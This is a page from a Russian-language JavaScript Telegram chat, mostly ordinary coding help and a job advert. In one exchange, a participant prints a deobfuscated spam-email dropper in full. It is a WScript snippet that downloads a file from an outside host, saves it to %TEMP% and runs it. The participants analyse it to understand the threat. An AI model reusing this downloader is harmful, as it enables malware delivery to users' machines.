@JSlang

Страница 1918 из 2237
Денис
16.05.2018
07:24:34
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.

Pavel
16.05.2018
07:30:40
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.
если сильно не копать, то он какой-то веб сервис создает и туда что-то пихает, нет желания дальше разбираться6 но это точно что-то не добросовестное

Максим
16.05.2018
07:30:54
привет народ! помогите плз. Есть рекурсивны объект с неизвестным уровнем вложенности: a = { b: [1,2,3]; a: { b: [2,3]; a: { b: [1,2,3,4] } } мне надо посчитать количество элементов в свойстве b на всех подуровнях объекта a

Google
Максим
16.05.2018
07:31:51
скажем передал в функцию a (второго уровня), на выходе получил: 6 передал самого верхнего -> 9

Artyom
16.05.2018
07:33:02
const calc = (obj) => obj.b.length + (obj.a ? calc(obj.a) : 0)

Максим
16.05.2018
07:36:25
ща попробую...

Aleksey
16.05.2018
07:42:28
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.
! function(t) { var e = WScript.CreateObject("WScript.Shell"), r = e.ExpandEnvironmentStrings("%TEMP%") + "\\" + "512773", i = 'MSXML2.ServerXMLHTTP', n = WScript.CreateObject(i), o = 'ADODB.Stream', c = WScript.CreateObject(o); try { n.open("GET", "http://static-view.club/663479386965666e6834626637746573616665346e6b/hdiwi75332jdarv65341/", !1); n.send(); if (200 == n.status) { c.open(); c.type = 1; c.write(n.responseBody); if (c.size > 1111) { c.position = 0, c.saveToFile(r + ".js", 2); try { e.Run(r + ".js", 1, 0) } catch (t) {} } c.close() } } catch (t) {} }();

Денис
16.05.2018
07:43:29
понял что он скачал, но что дальше с ним сделал

что то создается типа 512773.js но с каким содержимым

Aleksey
16.05.2018
07:44:35
руками выполнил поиск-замену чисел. Осталось куча мусора в виде не используемых переменных. Отдал на https://jscompress.com/, затем на http://jsbeautifier.org , выполнил руками элементарные вещи типа String.fromCharCode(65,68,79,68,66,46,83,116,114,101,97,109) и вот результат

Я уже ранее здесь утверждал, что обусификаторы для JS мусор. Логику всегда можно будет достать.

Денис
16.05.2018
07:47:43
да а конечный то какой результат этого скрипта?!

Aleksey
16.05.2018
07:48:41
да а конечный то какой результат этого скрипта?!
скачать файл, сахранить как %TEMP%/512773.js, выполнить его

Денис
16.05.2018
07:48:44
он в папке TEMP создаст файл 5112773.js и что дальше, что там внутри будет

Денис
16.05.2018
07:49:14
не могу, я под линуксом сижу

Google
Павел
16.05.2018
07:49:28
и?

Денис
16.05.2018
07:49:30
виртуалку заведу для оптов попробую ))) но пока не понятно

Максим
16.05.2018
07:51:05
const calc = (obj) => obj.b.length + (obj.a ? calc(obj.a) : 0)
адаптировал под свою структуру… работает.

спасибо

Aleksey
16.05.2018
07:51:15
сейчас по ссылке заглушка с майнкампф. Ранее должно быть был дропер вируса или Пети какогото.

Павел
16.05.2018
07:51:49
виртуалку заведу для оптов попробую ))) но пока не понятно
причем здесь виртуалка и линукс вообще?

Денис
16.05.2018
07:52:34
Я не программист, это мне на почт в спам пришло, вот и начал ради интереса колупать файл

всего осилить не смог вот и пошел в телегу помощь искать

правильно понял что заместо заглушки должен был скачаться какой то вирус ?

Artyom
16.05.2018
07:55:20
Aleksey
16.05.2018
07:55:34
правильно понял что заместо заглушки должен был скачаться какой то вирус ?
не совсем, качаться должен скрипт, который неизвестно что должен выполнить.

по HTTP можно узнать время модификации на сервере?

Evgeniy
16.05.2018
07:57:06
Ребята, как узнать какой плагин тянет в зависимости phantom.js при установке npm install

Evgeniy
16.05.2018
08:00:38
https://yarnpkg.com/lang/en/docs/cli/list/
Пробовал npm ls, но там нету Phantom.js

Artyom
16.05.2018
08:01:31
Должно показать

Evgeniy
16.05.2018
08:01:59
Попробую yarn'ом

Artyom
16.05.2018
08:02:18
Попробуй ll and la

Evgeniy
16.05.2018
08:03:08
во время установки зависимостей, такая штука PhantomJS not found on PATH Downloading https://github.com/Medium/phantomjs/releases/download/v2.1.1/phantomjs-2.1.1-linux-x86_64.tar.bz2 Saving to /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2 Receiving... [========================================] 99% Received 22866K total.

Google
Dead
16.05.2018
08:37:00
а кто то пишет автотесты на js?

Cheshire
16.05.2018
08:47:06
как через js задать url backgpund-image

Vladimir
16.05.2018
08:49:08
jq

$(this).css('backgroundImage', 'url(…)');

Vee
16.05.2018
09:15:47
Всем Здаров Просветите, кто шарит.. За что отвечает jquery-1.8.3.min.js и на что в сайте (no CMS) повлияет его отключение (напр. отключен cdn на котором он размещен)? thanks )

Pavel
16.05.2018
09:16:16
все что его юзает сломается - логично же

я думаю что у вас просто не загрузится сайт с кучей ошибок в консоли) или как вариант интерактивность не будет работать ( в лучшем случае )

Vee
16.05.2018
09:16:56
все что его юзает сломается - логично же
ну это слишком по кэповски )) ааа сори

Pavel
16.05.2018
09:18:07
Павел
16.05.2018
09:34:23
ну это слишком по кэповски )) ааа сори
Какой вопрос, такой ответ)

Vee
16.05.2018
09:37:21
Yury
16.05.2018
09:41:42
типо так http://jquery.page2page.ru/index.php5/%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_jQuery_%D1%81%D0%BE_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D1%85_CDN

Анастасия
16.05.2018
10:06:39
#JavaScript #Reactjs #Websockets #Rest #hr #вакансия #Москва #frontend #backend #blockchain город: Москва форма работы: офис занятость: фултайм зп вилка: от 180к до 250к ? ?Xena Exchange -профессиональная торговая платформа для профессиональных трейдеров и институциональных инвесторов. ❗️❗️❗️Находимся в поисках: Senior React.js Developer ▪Ты – наш идеальный кандидат, если: - Умеешь качественно верстать; - Отлично знаешь JavaScript (ES5/ES6); - Понимаешь как правильно готовить React; - Знаешь как общаться с backend-ом через REST и WebSockets. - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. ▪Ты еще более идеален, если: Имеешь опыт работы с финансовыми технологиями (торговые платформы, финансовые рынки). Твои задачи: - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. Мы предлагаем: - Интересные задачи: создание торговой платформы в передовой отрасли, возможность применить и прокачать скилы в создании высоконагруженных сервисов и классных интерфейсов; - Драйвовый коллектив единомышленников, современный технологический стек, отсутствие бюрократии, широкий простор для творчества и роста; - Щедрое вознаграждение за качественную работу + % после реализации; - Офис в центре Москвы; Возможность самостоятельно выбрать технику для работы. за подробной информацией го в личку @anastyasha163

Nikita
16.05.2018
10:57:56
#JavaScript #Reactjs #Websockets #Rest #hr #вакансия #Москва #frontend #backend #blockchain город: Москва форма работы: офис занятость: фултайм зп вилка: от 180к до 250к ? ?Xena Exchange -профессиональная торговая платформа для профессиональных трейдеров и институциональных инвесторов. ❗️❗️❗️Находимся в поисках: Senior React.js Developer ▪Ты – наш идеальный кандидат, если: - Умеешь качественно верстать; - Отлично знаешь JavaScript (ES5/ES6); - Понимаешь как правильно готовить React; - Знаешь как общаться с backend-ом через REST и WebSockets. - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. ▪Ты еще более идеален, если: Имеешь опыт работы с финансовыми технологиями (торговые платформы, финансовые рынки). Твои задачи: - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. Мы предлагаем: - Интересные задачи: создание торговой платформы в передовой отрасли, возможность применить и прокачать скилы в создании высоконагруженных сервисов и классных интерфейсов; - Драйвовый коллектив единомышленников, современный технологический стек, отсутствие бюрократии, широкий простор для творчества и роста; - Щедрое вознаграждение за качественную работу + % после реализации; - Офис в центре Москвы; Возможность самостоятельно выбрать технику для работы. за подробной информацией го в личку @anastyasha163
это какой то внеочередной форекс?

Анастасия
16.05.2018
10:59:52
неа!это профессиональная платформа для трейдеров. в настоящий момент заключены договоренности с банками о сотрудничестве..здесь мы говорим про допиливание платформы и поддержание ее работоспособности в дальнейшем)

Nikita
16.05.2018
11:01:55


есть помоему небольшие проблемы у них))))

Google
Nikita
16.05.2018
11:03:50
два горизонтальных скрола на лендинге, свидетельствует о большом объеме продланной работы, рекомендую

Anton
16.05.2018
11:05:12
есть одна либа для драгндропа в ней есть автоскролл как задизаблить любой скролл на странице исключая скролл колесом мышки?

Nikita
16.05.2018
11:08:07
preventDefaultForScrollKeys: function (e) { if ($rootScope.keys[e.keyCode]) { $rootScope.preventDefault(e); return false; } }, disableScroll: function () { if (window.addEventListener) { // older FF window.addEventListener('DOMMouseScroll', $rootScope.preventDefault, false); } window.onwheel = $rootScope.preventDefault; // modern standard window.onmousewheel = document.onmousewheel = $rootScope.preventDefault; // older browsers, IE window.ontouchmove = $rootScope.preventDefault; // mobile document.onkeydown = $rootScope.preventDefaultForScrollKeys; },

keys: {32: 1, 33: 1, 34: 1, 35: 1, 36: 1, 37: 1, 38: 1, 39: 1, 40: 1}

ну соответственно вешается куда нужно лень было исправлять

Admin
ERROR: S client not available

Anton
16.05.2018
11:18:11
так не получится наверное там либа скроллит контейнер когда элемент который draggable находится у верхнего или нижнего края контейнера

наоборот как сделать то понятно - задизаблить колесо мыши просто но тут надо задизаблить весь скролл, кроме как по колесу мыши

from
16.05.2018
11:27:45
А какой-то стайлгайд говорит о том, какой стоит синтаксис для css переменных использовать? Кебабкейс или кэмелКейс? --some-var: val; or --somVar: val;

Сергей
16.05.2018
11:31:49
Бл,не могу сделать кастомный скролл для сайта...

Illia
16.05.2018
11:41:11
И не делай

Это зло

from
16.05.2018
11:59:39
Это зло
в целом эгри, тем не мнеее помнится плагинчик perfect-scrollbar всегда на удивление хорошо работал

from
16.05.2018
12:06:59
даже под мак?
ну без rubber band эффекта конечно, но сами скроллбары как раз в точности как в маке

Roman
16.05.2018
12:07:45
ну такое. хорошо что вышло все это из моды

внешний вид это одно, а вот нестандартное для платформы поведение - это уг

Serg
16.05.2018
12:10:11
Почему когда я пишу так: window.collections2 = window.collections1; И произвожу действия с window.collections2 , то они отражаются и на window.collections1 ?

DetyaJah
16.05.2018
12:10:11
Всем привет. Помогите разобраться. https://repl.it/repls/PeacefulSmoothCase как должно быть, если .services_ul имеет класс active то при нажатии на любую точку на экране, он убирается Но что то не так. Даже в консоль ничего не пишет( При том, что класс этот дбавляется ранее по клику. При загрузке документа его нету.

Pavel
16.05.2018
12:11:53
Почему когда я пишу так: window.collections2 = window.collections1; И произвожу действия с window.collections2 , то они отражаются и на window.collections1 ?
простые типа копируются по значению, а сложные по ссылке. в collections2 содержится ссылка на coll1 а не копия обьекта

Google
Pavel
16.05.2018
12:12:14
https://learn.javascript.ru/object-reference

прочитайте

Serg
16.05.2018
12:24:27
прочитайте
Но я же вначале window.collections1 = []; объявил. Это должен был быть массив объектов, а не объект.

Serg
16.05.2018
12:26:15
я прочитал. там говорится что так происходит если это объект. Но это не объект это массив.

что с массивами такая же байда?

Iosif
16.05.2018
12:27:08
Serg
16.05.2018
12:28:35
Типа если в массиве есть хотя бы 1 объект, то этот массив становится ссылочным?

from
16.05.2018
12:28:42
что с массивами такая же байда?
*откровение* массив это объект

Serg
16.05.2018
12:28:47
а)

Vlad
16.05.2018
12:29:26
ахахаха

Serg
16.05.2018
12:30:17
3 года программирую на JS только щас заметил, что бывает какое то ссылочное г-но.

from
16.05.2018
12:30:45
мммм....

Vlad
16.05.2018
12:31:26
как-то слишком слабо для трех лет

Страница 1918 из 2237